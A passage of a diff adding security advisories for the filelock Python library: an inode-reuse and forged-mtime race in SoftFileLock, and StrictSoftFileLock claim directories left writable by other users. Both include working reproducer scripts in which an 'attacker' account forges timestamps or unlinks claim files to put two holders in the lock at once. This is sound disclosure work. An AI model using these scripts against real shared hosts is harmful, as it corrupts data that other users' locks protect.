clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.\n- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.\n- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).\n- At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).\n- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.\n\n## Introduced\n\n0f7c4d3794dc (\"fix(soft): expire leases on the contender's clock\", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.\n\n## Mechanism\n\n`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc//stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\n\ndef start_victims():\n # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n shutil.rmtree(LOCK_DIR, ignore_errors=True)\n os.mkdir(LOCK_DIR)\n os.chmod(LOCK_DIR, 0o1777)\n victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n with open(HOLDS_LOG, \"w\") as holds_log:\n return [\n subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n for _ in range(10)\n ]\n\n\ndef holds_entered_after(moment):\n holds = []\n for line in open(HOLDS_LOG):\n fields = dict(field.split(\"=\") for field in line.split())\n hold = {\"entered\": float(fields[\"entered\"]), \"exited\": float(fields[\"exited\"]), \"line\": line.strip()}\n if hold[\"entered\"] > moment:\n holds.append(hold)\n return sorted(holds, key=lambda hold: hold[\"entered\"])\n\n\ndef attack_until_overlap(phase, date_offset_s, max_attempts):\n victims = start_victims()\n attacker = [sys.executable, \"/tmp/repro.d/attacker.py\", LOCK_PATH, str(date_offset_s)]\n for attempt in range(1, max_attempts + 1):\n run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,\n user=\"attacker\", group=\"attacker\", extra_groups=[])\n print(f\"{phase} attempt {attempt}: {run.stdout.strip()}\", flush=True)\n unlinked_at = float(run.stdout.split(\"unlinked_at=\")[1])\n time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now\n\n # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the\n # report), so those are left out. time.monotonic() is one clock for every process on the machine.\n holds = holds_entered_after(unlinked_at + 0.001)\n overlaps = [(first, second) for first, second in zip(holds, holds[1:])\n if second[\"entered\"] < first[\"exited\"]]\n if overlaps:\n break\n for victim in victims:\n victim.kill()\n victim.wait()\n return overlaps\n\n\n# control: the attacker's file is dated an hour after the tick in which it is unlinked\ncontrol = attack_until_overlap(\"CONTROL\", date_offset_s=3600, max_attempts=20)\n# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets\nobserved = attack_until_overlap(\"OBSERVED\", date_offset_s=0, max_attempts=250)\n\n# check: no two victims may ever be inside the lock at once\nfor phase, overlaps in [(\"CONTROL\", control), (\"OBSERVED\", observed)]:\n print(f\"{phase}: {len(overlaps)} time(s) two victims inside the lock at once\")\n for first, second in overlaps:\n print(f\"{phase}: {first['line']}\")\n print(f\"{phase}: {second['line']}\")\nprint(\"BUG\" if observed and not control else \"OK\")\n```\n\n**`repro.d/attacker.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport random\nimport sys\nimport time\n\nlock_path, date_offset_s = sys.argv[1], int(sys.argv[2])\n\nCLOCK_REALTIME_COARSE = 5 # ; the kernel stamps new files from it, and it moves once per timer tick\ntick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)\n\n# take the lock path the moment it is free, like any contender\nwhile True:\n try:\n fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n break\n except FileExistsError:\n time.sleep(0.002)\n\n# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random\n# part makes some attempts free the path just before one of their polls.\npark_s = random.uniform(2.2, 2.25)\nrelease_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns\nmtime_ns = release_tick + date_offset_s * 10**9\nos.utime(fd, ns=(mtime_ns, mtime_ns))\ninode = os.fstat(fd).st_ino\nos.close(fd)\n\ntime.sleep(park_s - 0.05)\nwhile time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:\n pass\nos.unlink(lock_path) # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode\nunlinked_at = time.monotonic()\ntime.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer\nprint(f\"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}\")\n```\n\n**`repro.d/victim.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n with lock:\n entered = time.monotonic()\n time.sleep(0.3) # work on whatever the lock protects\n print(f\"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}\", flush=True)\n time.sleep(0.05)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user\n participant P as lock path (sticky dir, ext4, 4 ms clock ticks)\n participant S as process S of the lock user (waiting)\n participant F as process F of the lock user\n X->>P: create empty file, inode I, utime to future tick T\n S->>P: poll: empty file, key (T, I), watch starts\n Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting\n rect rgb(255, 214, 214)\n X->>P: at tick T: unlink own file, I is free\n F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written\n S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker\n F->>P: writes record into the unlinked inode, acquire() returns\n Note over S,F: the path is empty, the next contender creates a marker: two holders, no error\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.\n\nIn four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.\n\n## Impact\n\nA local user who can create a file in a soft lock's directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:42 UTC: fix PR #843 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112906" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112908.json b/advisories/BREW-virtualenv-CVE-2026-112908.json new file mode 100644 index 00000000000..facdb2bb9fd --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112908.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112908", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-6627-m3xw-93mp", + "CVE-2026-112908" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.7.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold", + "details": "`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at ``) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `.filelock` and `.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.\n\nA hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own.\n\n`C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` (\"malformed claim record\") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).\n\n## Scope and preconditions\n\n- The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the \"File permissions and mode\" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding.\n- The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`:\n\n | lock's parent directory | holder's umask | `.filelock` and `claims/` | who can unlink the claims |\n |---|---|---|---|\n | `1777`, like `/tmp` | `000` | `0777` | any other local user |\n | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` |\n | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` |\n | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out |\n\n The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL.\n- A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.\n- Directories that an affected release already created keep their mode. A `0777` `.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `.filelock` trees (see Workarounds).\n- The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the bare `mkdir()` sits in [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L998). [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L133) calls it for both levels without a mode. It then passes `self._open_mode()` to the sentinel and, through [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181), to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim name as removed on release.\n\n## Introduced\n\nThe bare `mkdir()` arrived with the claim directories in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.\n\n## Mechanism\n\nA process with umask `000` that takes `StrictSoftFileLock(\"/tmp//x.lock\", mode=0o600)` leaves this on disk while it holds the lock, every entry owned by the holder:\n\n```\n0600 x.lock\n0777 x.lock.filelock\n0777 x.lock.filelock/claims\n0600 x.lock.filelock/claims/held-v1-.claim\n0600 x.lock.filelock/claims/intent-v1-.claim\n```\n\nRemoving a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming `claims/` away inside the `0777` `.filelock` has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at `` is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. `is_locked` is its own counter, and `_release` removes its claims by name through `_unlink_owner_path_result`, which takes `FileNotFoundError` as \"already removed\". The first process therefore releases with exit status 0. No `force_break()`, lifetime or legacy client takes part.\n\nThe other user's action is a plain `unlink`. The right to do it comes from filelock's `mkdir`, not from anything the application asked for. In the same setting the other user can neither read nor remove the `0600` sentinel in the sticky parent. With the common umask `022` and no default ACL the directories are `0755`. Other users can then list the claim names, which `mode=0o600` does not suggest either, but cannot remove them, and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AD6SUOON`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\n\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": [], \"text\": True}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": [], \"text\": True}\n\n\ndef start_victim_service(lock_path, umask):\n command = [sys.executable, \"/tmp/repro.d/victim_service.py\", lock_path]\n return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)\n\n\ndef hold_lock_while_attacker_strikes(label, shared, victim_umask):\n lock_path = f\"{shared}/umask{victim_umask:03o}.lock\"\n claims = f\"{lock_path}.filelock/claims\"\n\n first = start_victim_service(lock_path, victim_umask)\n assert first.stdout.readline() == \"entered\\n\"\n claim_files = [f\"{claims}/{name}\" for name in sorted(os.listdir(claims))]\n for path in (lock_path, f\"{lock_path}.filelock\", claims, *claim_files):\n status = os.lstat(path)\n owner = pwd.getpwuid(status.st_uid).pw_name\n print(f\"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}\")\n\n # attack, while the first victim process is inside its critical section\n attacker = subprocess.run(\n [sys.executable, \"/tmp/repro.d/attacker_remove_claims.py\", lock_path],\n stdout=subprocess.PIPE,\n check=True,\n **AS_ATTACKER,\n )\n for line in attacker.stdout.splitlines():\n print(f\"{label}: attacker: {line}\")\n claims_left = len(os.listdir(claims))\n print(f\"{label}: claims left: {claims_left}\")\n\n second = start_victim_service(lock_path, victim_umask)\n second_says = second.stdout.readline().strip()\n # the first is told to leave only after the second has answered, so an \"entered\" means both were inside at once\n first_says = first.communicate(\"leave\\n\")[0].strip()\n second.communicate(\"leave\\n\")\n print(f\"{label}: second process: {second_says}\")\n print(f\"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}\")\n\n both_inside = second_says == \"entered\" and first_says == \"leaving, is_locked=True\" and first.returncode == 0\n return claims_left, both_inside\n\n\n# set up: a shared directory like /tmp, sticky and writable by everyone\nshared = tempfile.mkdtemp(prefix=\"strict-mode-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# the two rounds differ only in the umask the victim's processes run with\ncontrol_claims_left, control_both_inside = hold_lock_while_attacker_strikes(\"CONTROL umask 022\", shared, 0o022)\nattack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes(\"OBSERVED umask 000\", shared, 0o000)\nshutil.rmtree(shared)\n\n# check: with mode=0o600, another user must not be able to let a second process in beside the first\nprint(f\"CONTROL two holders at once: {control_both_inside}\")\nprint(f\"OBSERVED two holders at once: {attack_both_inside}\")\ncontrol_excludes = control_claims_left == 2 and not control_both_inside\nprint(\"BUG\" if control_excludes and attack_claims_left == 0 and attack_both_inside else \"OK\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\ntry:\n names = sorted(os.listdir(claims))\nexcept PermissionError:\n print(\"listing denied\")\n names = []\n\nfor name in names:\n try:\n os.unlink(f\"{claims}/{name}\")\n print(f\"unlinked {name}\")\n except PermissionError:\n print(f\"unlink denied {name}\")\n```\n\n**`repro.d/victim_service.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], mode=0o600)\ntry:\n with lock.acquire(timeout=2):\n print(\"entered\", flush=True)\n sys.stdin.readline() # stay in the critical section until told to leave\n print(f\"leaving, is_locked={lock.is_locked}\", flush=True)\nexcept Timeout:\n print(\"Timeout\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant H as holder (umask 000, mode=0o600)\n participant D as x.lock.filelock/claims\n participant X as other local user\n participant C as contender (same account as the holder)\n H->>D: mkdir() both directories: 0777, claims 0600\n H->>D: publish intent and held claims, enter\n X->>D: read claim: EACCES (0600)\n rect rgb(255, 214, 214)\n X->>D: unlink both claims (directory is 0777, not sticky)\n C->>D: acquire(): scan finds no claims, publishes, enters\n Note over H,C: both inside at once\n H->>D: release(): claims missing, counted as removed, exit status 0\n end\n Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer runs the holder's `StrictSoftFileLock(path, mode=0o600)` with `timeout=2` as account `victim` (uid 1000) and the unlink loop as account `attacker` (uid 1001). Both run in a fresh root-owned `1777` directory under `/tmp`, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.\n\nUnder `CONTROL umask 022`, the directories are `0755`, the kernel denies the unlinks, both claims remain, and the second process prints `Timeout`. Under `OBSERVED umask 000`, every file is still `0600` but `.filelock` and `claims/` are `0777`. The other account prints `unlinked held-v1-.claim` and `unlinked intent-v1-.claim` followed by `claims left: 0`. The second process prints `entered`. The first process prints `leaving, is_locked=True, exit status 0` when asked afterwards. The verdict lines read `CONTROL two holders at once: False` and `OBSERVED two holders at once: True`; the overall verdict is `BUG`. The scanner ran the umask `002` and default-ACL rows of the table by hand at the same commit with the same result.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression test covers the owner, group-read and group-write modes.\n\n## Impact\n\nAnother local user who gets a write bit on the claim directories ends a live `StrictSoftFileLock` hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the `0600` claim files stay unreadable), and it does not affect holders whose directories came out `0755` or tighter.\n\n## Workarounds\n\nRun processes that take strict locks with umask `022` or `077`. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, `chmod 700` (or remove, while no process holds the lock) every existing `.filelock` tree. Its mode comes from creation time and nothing changes it afterwards: `find -maxdepth 1 -type d -name '*.filelock' 